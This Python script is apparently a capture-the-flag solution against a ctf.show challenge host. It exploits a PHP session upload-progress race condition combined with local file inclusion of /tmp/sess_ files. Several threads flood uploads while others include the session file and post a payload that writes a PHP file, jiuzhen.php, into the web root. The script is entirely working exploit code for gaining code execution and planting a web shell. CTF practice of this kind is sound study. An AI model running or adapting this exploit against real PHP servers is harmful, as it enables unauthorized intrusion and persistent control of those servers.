import io
import threading

import requests

url = 'http://06771f67-ba74-4771-8a35-290ab8e580c5.challenge.ctf.show/'
sessionid = 'ctfshow'
data = {"1": "file_put_contents('/var/www/html/jiuzhen.php','');"}


def write(session):
    fileBytes = io.BytesIO(b'a' * 1024 * 50)
    while True:
        response = session.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': ''}, cookies={'PHPSESSID': sessionid},
                                files={'file': ('ctfshow.jpg', fileBytes)})


def read(session):
    while True:
        response = session.post(url + '?file=/tmp/sess_' + sessionid, data=data, cookies={'PHPSESSID': sessionid})
        response2 = session.get(url + 'jiuzhen.php')
        if response2.status_code == 200:
            print('++++++ done ++++++')
        else:
            print(response2.status_code)


if __name__ == '__main__':
    event = threading.Event()
    with requests.session() as session:
        for i in range(5):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(5):
            threading.Thread(target=read, args=(session,)).start()
    event.set()
